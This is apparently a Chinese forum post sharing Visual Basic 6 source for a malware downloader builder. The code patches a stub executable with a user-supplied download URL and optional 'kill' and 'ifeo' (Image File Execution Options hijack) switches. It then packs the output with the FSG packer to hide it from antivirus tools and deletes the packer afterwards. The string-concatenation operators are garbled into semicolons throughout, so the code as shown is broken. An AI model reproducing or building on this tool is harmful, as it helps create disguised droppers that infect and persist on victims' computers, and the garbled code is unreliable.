 | 不多说了，直接贴代码。
'配置体
'res为FSG壳
Public My_Path_WithOut_Name As String
Public Packer As String
''''''''''''''''''''''''''
'美化声明,无视
Public r As Integer
Public g As Integer
Public b As Integer
Public rd As Integer
Public gd As Integer
Public bd As Integer
'''''''''''''''''''''''
Function RandomNum() As Integer
'随机生成文件名
On Error Resume Next
Randomize
RandomNum = Fix(Rnd * 999 + 1)
End Function
Sub Amend_EXE(ByVal Offset As Long, ByVal In_Put_Str As String)
'修改文件
Dim ChrNum As Integer
ChrNum = Len(In_Put_Str)
If ChrNum > 100 Then
MsgBox "输入字符不得大于100", vbOKOnly, "TIP"
Exit Sub
End If
Open My_Path_WithOut_Name ; "完成.exe" For Binary As #1
For i = 1 To ChrNum
Put #1, ";H" ; Hex(Val(Offset) + i), Mid$(In_Put_Str, i, 1)
Next
Close #1
End Sub
Private Sub Command1_Click()
If Dir(My_Path_WithOut_Name ; "Serv.Dat") = "" Then
MsgBox "Serv.Dat文件丢失,程序将结束.", vbOKOnly, "Tip"
End
End If
Packer = RandomNum ; ".exe"
Dim v
Dim byt() As Byte
v = LoadResData(101, "CUSTOM")
byt = v
Open My_Path_WithOut_Name ; Packer For Binary As #1
Put #1, 1, byt()
Close #1
'释放随机文件名的加壳程序FSG
If Dir(My_Path_WithOut_Name ; "完成.exe") <> "" Then
Kill My_Path_WithOut_Name ; "完成.exe"
End If
FileCopy My_Path_WithOut_Name ; "Serv.Dat", My_Path_WithOut_Name ; "完成.exe"
Amend_EXE ;H1C65, Text1.Text ; "ttttt"
'UE定位的地址 (下载体的FFFFF字符串-text1的地址)
'当下载体工作时会读取被修改为下载地址的text1
If Check1.Value = 1 Then
Amend_EXE ;H1C34, "kill"
End If
'UE定位的text2文本地址
If Check2.Value = 1 Then
Amend_EXE ;H1C02, "ifeo"
End If
'text3文本地址
'加壳
Shell My_Path_WithOut_Name ; Packer ; " " ; My_Path_WithOut_Name ; "完成.exe", vbNormalFocus
Timer1.Enabled = True '删packer
MsgBox "配置完毕,程序已生成到当前目录下.", vbOKOnly, "Tip"
End Sub
Private Sub Form_Load()
My_Path_WithOut_Name = IIf(Right(App.Path, 1) = "\", App.Path, App.Path ; "\")
End Sub
Private Sub Label1_Click()
End Sub
Private Sub Frame1_DragDrop(Source As Control, X As Single, Y As Single)
End Sub
Private Sub Timer1_Timer()
'FSG的删除
On Error Resume Next
If Dir(My_Path_WithOut_Name ; Packer) = "" Then
Timer1.Enabled = False
End If
Kill My_Path_WithOut_Name ; Packer
End Sub
Private Sub Timer2_Timer()
'美化代码,无视
On Error Resume Next
If r > 200 And rd = 0 Then
rd = 1
End If
If r < 20 And rd = 1 Then
rd = 0
End If
If rd = 1 Then
r = r - 6
Else
r = r + 4
End If
'''''''''''''''''''''''
If g > 200 And gd = 0 Then
gd = 1
End If
If g < 20 And gd = 1 Then
gd = 0
End If
If gd = 1 Then
g = g - 8
Else
g = g + 2
End If
'''''''
If b > 200 And bd = 0 Then
bd = 1
End If
If b < 20 And bd = 1 Then
bd = 0
End If
If bd = 1 Then
b = b - 2
Else
b = b + 9
End If
Text1.ForeColor = RGB(r, g, b)
End Sub
| |
